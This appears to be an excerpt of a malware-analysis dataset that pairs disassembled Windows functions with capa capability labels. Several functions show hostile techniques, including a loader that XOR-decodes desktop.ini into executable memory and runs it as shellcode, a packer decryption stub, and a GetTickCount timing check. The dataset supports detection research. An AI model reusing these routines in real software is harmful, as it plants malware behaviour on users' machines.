joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5b5104
Capabilities:
Allocate or change rwx memory
Find taskbar
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffa0
mov dword [esp], eax
mov eax, dword [esp]
xor ecx, ecx
mov edx, 0x10
call fcn.00404a3c
lea eax, [esp + 0x3c]
push eax
call sub.kernel32.dll_GetSystemInfo_1
call sub.user32.dll_GetDesktopWindow
test eax, eax
je 0x5b533a
push 0
push 0x5b5344
push 0
push eax
call sub.user32.dll_FindWindowExW
test eax, eax
je 0x5b533a
push 0
push 0x5b5360
push 0
push eax
call sub.user32.dll_FindWindowExW
test eax, eax
je 0x5b533a
push 0
push 0x5b537c
push 0
push eax
call sub.user32.dll_FindWindowExW
test eax, eax
je 0x5b533a
push 0
push 0x5b539c
push 0
push eax
call sub.user32.dll_FindWindowExW
mov ebp, eax
test ebp, ebp
je 0x5b533a
push 0
push 0
push 0x418
push ebp
call sub.user32.dll_SendMessageW
mov dword [esp + 4], eax
cmp dword [esp + 4], 1
jl 0x5b533a
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
push ebp
call sub.user32.dll_GetWindowThreadProcessId
cmp dword [esp + 8], 0
je 0x5b533a
mov eax, dword [esp + 8]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov edi, eax
test edi, edi
je 0x5b533a
push 0x40
push 0x1000
push 0x1000
push 0
push edi
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
test esi, esi
je 0x5b533a
or ebx, 0xffffffff
cmp ebx, dword [esp + 4]
jge 0x5b5326
inc ebx
push esi
push ebx
push 0x417
push ebp
call sub.user32.dll_SendMessageW
test eax, eax
je 0x5b531c
lea eax, [esp + 0xc]
push eax
push 0x18
lea eax, [esp + 0x20]
push eax
push esi
push edi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x5b531c
test byte [esp + 0x21], 0xd
jne 0x5b531c
movzx eax, byte [esp + 0x20]
and al, 8
cmp al, 8
je 0x5b531c
lea eax, [esp + 0xc]
push eax
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x30]
push eax
push edi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x5b531c
cmp dword [esp + 0xc], 0
je 0x5b531c
mov eax, dword [0x6a7520]
mov eax, dword [eax]
cmp byte [eax + 0xd3], 0
je 0x5b52b9
mov eax, dword [0x6a7520]
mov eax, dword [eax]
cmp dword [eax + 0x44], 0
je 0x5b52b9
mov eax, dword [0x6a7520]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
call fcn.004b8e10
mov dword [esp + 0x14], eax
jmp 0x5b52ca
mov eax, dword [0x6a7520]
mov eax, dword [eax]
mov eax, dword [eax + 0x170]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x14]
jne 0x5b531c
push esi
push ebx
push 0x41d
push ebp
call sub.user32.dll_SendMessageW
test eax, eax
je 0x5b52f8
lea eax, [esp + 0xc]
push eax
push 0x10
mov eax, dword [esp + 8]
push eax
push esi
push edi
call sub.kernel32.dll_ReadProcessMemory
cmp dword [esp + 0xc], 0
je 0x5b5326
lea eax, [esp + 0x2c]
push eax
push ebp
call sub.user32.dll_GetWindowRect
mov eax, dword [esp]
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
call fcn.0040b144
jmp 0x5b5326
cmp ebx, dword [esp + 4]
jl 0x5b5212
push 0x8000
push 0
push esi
push edi
call sub.kernel32.dll_VirtualFreeEx
push edi
call sub.kernel32.dll_CloseHandle_1
add esp, 0x60
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x5b6dfc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov eax, dword [0x6a7520]
mov eax, dword [eax]
call fcn.004e0ac4
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, esi
jb 0x5b6e07
pop esi
pop ebx
ret

Function at 0x5b738c
Capabilities:
Get file system object information

Disassembly:
push ebx
push esi
add esp, 0xfffffd48
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [esp], eax
mov eax, ebx
call fcn.00415000
test al, al
je 0x5b7413
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x2b4
call fcn.00404a3c
or esi, 0x100
test esi, esi
jns 0x5b73c7
call fcn.00404f9c
push esi
push 0x2b4
lea eax, [esp + 0xc]
push eax
push 0
mov eax, ebx
call fcn.00407374
push eax
call sub.shell32.dll_SHGetFileInfoW
test eax, eax
je 0x5b7413
mov dl, 1
mov eax, dword [0x455cc8]
call fcn.00460fdc
mov dword [esp], eax
mov edx, dword [esp + 4]
mov eax, dword [esp]
call fcn.00461470
mov eax, dword [esp]
mov edx, dword [eax]
call dword [edx + 0x20]
test al, al
je 0x5b7413
mov eax, esp
call fcn.0041caa8
mov eax, dword [esp]
add esp, 0x2b8
pop esi
pop ebx
ret
Function at 0x5dab00
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
push ebp
mov esi, ecx
mov edi, edx
mov ebx, eax
mov eax, ebx
call fcn.005daaec
test eax, eax
jne 0x5dab23
mov eax, esi
xor edx, edx
call fcn.004072e8
jmp 0x5dabb8
mov eax, ebx
call fcn.005dac50
test al, al
je 0x5dab6b
push 0
push 0
push 0xe
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageW
mov edi, eax
mov eax, esi
mov ecx, edi
xor edx, edx
call fcn.00407424
test edi, edi
je 0x5dab60
mov eax, dword [esi]
push eax
inc edi
push edi
push 0xd
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageW
jmp 0x5dabb8
mov eax, esi
xor edx, edx
call fcn.004072e8
jmp 0x5dabb8
mov ebp, dword [ebx + 0x78]
test ebp, ebp
je 0x5dabaf
mov eax, dword [ebp + 0x270]
call fcn.00438574
test eax, eax
jle 0x5dab9d
mov eax, dword [ebx + 0x78]
mov eax, dword [eax + 0x270]
mov edx, edi
call fcn.00489788
mov edx, dword [eax + 0xc]
mov eax, esi
call fcn.004072e8
jmp 0x5dabb8
mov eax, esi
mov edx, dword [ebx + 0x78]
mov edx, dword [edx + 0x278]
call fcn.004072e8
jmp 0x5dabb8
mov eax, esi
xor edx, edx
call fcn.004072e8
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x5dc914
Capabilities:
Capture webcam image

Disassembly:
push ebx
push esi
mov esi, edx
mov ebx, eax
push 1
push esi
mov ecx, 1
xor edx, edx
xor eax, eax
call fcn.0040b058
push esi
push 0
push 0x419
mov eax, dword [ebx + 0x54]
push eax
call sub.user32.dll_SendMessageW
pop esi
pop ebx
ret
Function at 0x66f920
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
lea eax, [ebp - 0x30]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
dec ecx
js 0x66f971
lea eax, [ebp - 0x30]
cmp word [eax + 0x20], 3
je 0x66f958
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x66f948
jmp 0x66f971
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x66f959
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x682188
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x208], ecx
mov dword [ebp - 4], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x682266
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x208]
mov edx, 0x1a
mov eax, esi
call fcn.00682300
mov edx, dword [ebp - 0x208]
lea eax, [ebp - 4]
mov ecx, 0x682280
call fcn.004077cc
mov eax, dword [ebp - 4]
call fcn.00407374
push eax
push 0xff
lea eax, [ebp - 0x204]
push eax
push 0
push 0x6822bc
push 0x6822c8
call sub.kernel32.dll_GetPrivateProfileStringW
mov eax, ebx
lea edx, [ebp - 0x204]
mov ecx, pe_nt_image_headers32
call fcn.004074f8
movzx eax, byte [0x6822dc]
push eax
lea eax, [ebp - 0x20c]
push eax
mov eax, dword [ebx]
mov ecx, 0x6822ec
mov edx, 0x6822fc
call fcn.0041c00c
mov edx, dword [ebp - 0x20c]
mov eax, ebx
call fcn.004072e8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x68226d
lea eax, [ebp - 0x20c]
mov edx, 2
call fcn.004072e0
lea eax, [ebp - 4]
call fcn.004072d8
ret

Function at 0x682300
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffdf4
mov ebx, ecx
push esp
push 0
push 0
push edx
push 0
call sub.SHFolder.dll_SHGetFolderPathW
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x682336
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004074f8
jmp 0x68233f
mov eax, ebx
xor edx, edx
call fcn.004072e8
add esp, 0x20c
pop ebx
ret
Function at 0x68580c
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffcc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x20], ebx
mov ebx, ecx
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
call fcn.004072d0
xor eax, eax
push ebp
push 0x6859f6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
xor edx, edx
call fcn.004072e8
mov eax, dword [ebp - 4]
test eax, eax
je 0x68585f
mov edx, eax
sub edx, 0xa
cmp word [edx], 2
je 0x68585f
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
call fcn.004065cc
test eax, eax
je 0x685868
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x685870
mov al, 1
jmp 0x68587a
mov eax, dword [ebp - 4]
call fcn.00415000
xor al, 1
test al, al
jne 0x6859d0
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00407374
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x6859d0
xor eax, eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
call fcn.004041f4
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x6859c9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.00407374
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
jne 0x6858e5
call fcn.00405ca8
jmp 0x6859d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x685a08
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
jne 0x685909
call fcn.00405ca8
jmp 0x6859d0
mov esi, dword [ebp - 0x18]
shr esi, 2
dec esi
test esi, esi
jb 0x6859b0
inc esi
xor edi, edi
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + edi*4]
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x2c], 0
mov eax, dword [ebp - 0x1c]
movzx eax, word [eax + edi*4 + 2]
mov dword [ebp - 0x28], eax
mov byte [ebp - 0x24], 0
lea edx, [ebp - 0x30]
mov ecx, 1
mov eax, 0x685a4c
call fcn.00415cb4
mov eax, dword [ebp - 0x20]
call fcn.00407374
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.version.dll_VerQueryValueW
test eax, eax
je 0x6859a8
test bl, bl
je 0x68597d
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
call fcn.004074a4
jmp 0x6859b0
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 0x14]
call fcn.004070ac
sub eax, 2
push eax
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x14]
call fcn.004074a4
mov eax, dword [ebp - 0x34]
mov edx, 1
pop ecx
call fcn.00407a38
jmp 0x6859b0
inc edi
dec esi
jne 0x68591b
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6859d0
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.00404228
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x6859fd
lea eax, [ebp - 0x34]
call fcn.004072d8
lea eax, [ebp - 0x20]
call fcn.004072d8
lea eax, [ebp - 4]
call fcn.004072d8
ret
Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x6fcb11de
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x432024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x75042b2b
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x432084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x403e47
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebx + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
and dword [ebp - 4], 0
mov edi, eax
mov byte [edi + ebx], 0
test ebx, ebx
je 0x403e9d
mov eax, dword [ebp + 8]
sub eax, edi
mov dword [ebp + 8], eax
push esi
mov esi, dword [ebp - 4]
push dword [ebp + 0xc]
add esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
mov eax, dword [ebp - 4]
xor edx, edx
div ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov al, byte [edx + eax]
xor al, byte [ecx + esi]
inc dword [ebp - 4]
mov byte [esi], al
cmp dword [ebp - 4], ebx
jb 0x403e6f
pop esi
mov eax, edi
pop edi
leave
ret 8

Function at 0x405f02
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x405f0d
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x405fc1
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 2]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 3]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 4]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 5]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 6]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
movzx ebx, byte [ecx + 7]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x43d898]
add ecx, 8
sub edi, 8
dec esi
jne 0x405f24
pop ebx
test edi, edi
je 0x405fda
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x43d898]
inc ecx
dec edi
jne 0x405fc5
pop esi
not eax
pop edi
ret

Function at 0x405fdf
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x43d898]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x43d898]
pop esi
mov dword [ecx + 8], eax
ret
Function at 0x414609
Capabilities:
Write file on windows

Disassembly:
push 0x2c
mov eax, 0x431c89
call fcn.0042091e
mov ebx, dword [ebp + 8]
or esi, 0xffffffff
mov edi, ecx
cmp ebx, esi
jne 0x41462b
xor eax, eax
call fcn.00420968
ret 4
mov eax, dword [edi + 0x24]
mov ecx, dword [eax]
test ecx, ecx
je 0x414651
mov eax, dword [edi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x414651
dec dword [eax]
mov edi, dword [edi + 0x24]
mov eax, dword [edi]
lea ecx, [eax + 1]
mov dword [edi], ecx
mov byte [eax], bl
mov eax, ebx
jmp 0x414623
cmp dword [edi + 0x54], 0
jne 0x41465b
mov eax, esi
jmp 0x414623
mov eax, edi
call fcn.00414f73
cmp dword [edi + 0x44], 0
jne 0x41467e
push dword [edi + 0x54]
movsx eax, bl
push eax
call fcn.0041eee8
pop ecx
cmp eax, esi
pop ecx
mov eax, ebx
jne 0x414623
jmp 0x414657
lea esi, [ebp - 0x2c]
mov byte [ebp - 0x2d], bl
call fcn.00414c89
and dword [ebp - 4], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41472c
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x34]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x2d]
push eax
lea eax, [edi + 0x4c]
push eax
call dword [esi + 0x14]
test eax, eax
js 0x414754
cmp eax, 1
jg 0x414734
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4146db
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x34]
sub esi, eax
je 0x414701
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4146ee
lea eax, [ebp - 0x2c]
push dword [edi + 0x54]
push esi
push 1
push eax
call fcn.0041fb0b
add esp, 0x10
cmp esi, eax
jne 0x414754
lea eax, [ebp - 0x2d]
mov byte [edi + 0x49], 1
cmp dword [ebp - 0x38], eax
jne 0x41474f
test esi, esi
jne 0x41468d
cmp dword [ebp - 0x1c], 0x20
jae 0x414754
push esi
push 8
pop ebx
lea esi, [ebp - 0x2c]
call fcn.0040c3ab
jmp 0x41468d
mov edx, dword [ebp - 0x2c]
jmp 0x41469f
cmp eax, 3
jne 0x414754
movsx eax, byte [ebp - 0x2d]
push dword [edi + 0x54]
push eax
call fcn.0041eee8
or esi, 0xffffffff
pop ecx
pop ecx
cmp eax, esi
je 0x414757
mov esi, dword [ebp + 8]
jmp 0x414757
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00403f7d
jmp 0x414657
Function at 0x414e8a
Capabilities:
Write file on windows

Disassembly:
push 0x24
mov eax, 0x431c5c
call fcn.0042091e
xor ebx, ebx
cmp dword [edi + 0x44], ebx
je 0x414f6b
cmp byte [edi + 0x49], bl
je 0x414f6b
mov eax, dword [edi]
push 0xffffffffffffffff
mov ecx, edi
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x414ebf
xor al, al
jmp 0x414f6d
lea esi, [ebp - 0x2c]
call fcn.00414c89
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x414f0d
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [edi + 0x44]
mov esi, dword [ecx]
lea ebx, [ebp - 0x30]
push ebx
mov ebx, dword [ebp - 0x1c]
add eax, ebx
push eax
push edx
lea eax, [edi + 0x4c]
push eax
call dword [esi + 0x18]
sub eax, 0
je 0x414f12
dec eax
je 0x414f16
dec eax
dec eax
je 0x414f67
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00403f7d
mov al, bl
jmp 0x414f6d
mov edx, dword [ebp - 0x2c]
jmp 0x414ed8
mov byte [edi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x414f22
lea eax, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, eax
je 0x414f48
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x414f35
lea eax, [ebp - 0x2c]
push dword [edi + 0x54]
push esi
push 1
push eax
call fcn.0041fb0b
add esp, 0x10
cmp esi, eax
jne 0x414efb
cmp byte [edi + 0x49], 0
je 0x414f67
test esi, esi
jne 0x414eca
push esi
push 8
pop ebx
lea esi, [ebp - 0x2c]
call fcn.0040c3ab
jmp 0x414eca
mov bl, 1
jmp 0x414efd
mov al, 1
call fcn.00420968
ret

Function at 0x416a4a
Capabilities:
Enumerate files on windows

Disassembly:
push 0x298
mov eax, 0x43235d
call fcn.0042091e
and dword [ebp - 0x2a0], 0
mov dword [ebp - 0x2a4], ebx
lea eax, [ebp - 0x48]
xor esi, esi
push eax
inc esi
lea eax, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.00416887
cmp dword [eax + 0x14], 8
jb 0x416a80
mov eax, dword [eax]
lea ecx, [ebp - 0x298]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
xor edi, edi
lea esi, [ebp - 0x48]
mov dword [ebp - 0x29c], eax
call fcn.0040c124
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
lea eax, [ebp - 0x26c]
inc edi
push eax
lea esi, [ebp - 0x2c]
mov dword [ebp - 0x2a0], edi
call fcn.004162d3
mov ecx, esi
mov edx, ebx
mov byte [ebp - 4], 2
call fcn.00417883
push edi
jmp 0x416aed
lea eax, [ebp - 0x26c]
push eax
lea esi, [ebp - 0x2c]
call fcn.004162d3
mov ecx, esi
mov edx, ebx
mov byte [ebp - 4], 3
call fcn.00417883
push 1
xor edi, edi
lea esi, [ebp - 0x2c]
mov byte [ebp - 4], 1
call fcn.0040c124
lea eax, [ebp - 0x298]
push eax
push dword [ebp - 0x29c]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x416acf
push eax
push 1
lea ecx, [ebp + 8]
call fcn.00403f7d
mov eax, ebx
call fcn.00420968
ret 0x1c
Function at 0x41b08f
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
xor edi, edi
mov ebx, eax
mov dword [esi + 0x6af78], edi
cmp dword [esi + 0x6af70], edi
jne 0x41b0ba
mov dword [esi + 0x6af78], 1
mov dword [esi + 0x6af70], 0x10000
push 0x1fffc
lea eax, [esi + 0x4af70]
push edi
push eax
mov dword [esi + 0x6af6c], edi
call fcn.004257f0
mov eax, ebx
movzx ecx, word [eax*8 + 0x43bf1a]
mov dword [esi + 0x6af98], ecx
movzx ecx, word [eax*8 + 0x43bf18]
mov dword [esi + 0x6af9c], ecx
movzx ecx, word [eax*8 + 0x43bf1c]
mov dword [esi + 0x6afa0], ecx
movzx eax, word [eax*8 + 0x43bf1e]
add esp, 0xc
mov dword [esi + 0x6af94], eax
cmp ebx, 2
jg 0x41b11e
mov eax, dword [esp + 0x10]
or word [eax], 4
jmp 0x41b12b
cmp ebx, 8
jl 0x41b12b
mov eax, dword [esp + 0x10]
or word [eax], 2
push 0x10000
lea ebx, [esi + 0x1af70]
push ebx
push esi
mov dword [esi + 0x6af84], edi
mov dword [esi + 0x6af74], edi
call dword [esi + 0xc]
add esp, 0xc
mov dword [esi + 0x6af90], eax
cmp eax, edi
je 0x41b190
cmp eax, 0xffffffff
je 0x41b190
mov dword [esi + 0x6af8c], edi
cmp eax, 0x106
jae 0x41b16b
call fcn.0041b2e5
mov dword [esi + 0x6af7c], edi
xor eax, eax
movzx ecx, byte [ebx + eax]
shl edi, 5
xor edi, ecx
and edi, 0x7fff
inc eax
mov dword [esi + 0x6af7c], edi
cmp eax, 2
jb 0x41b173
jmp 0x41b1a0
mov dword [esi + 0x6af8c], 1
mov dword [esi + 0x6af90], edi
pop edi
pop esi
pop ebx
ret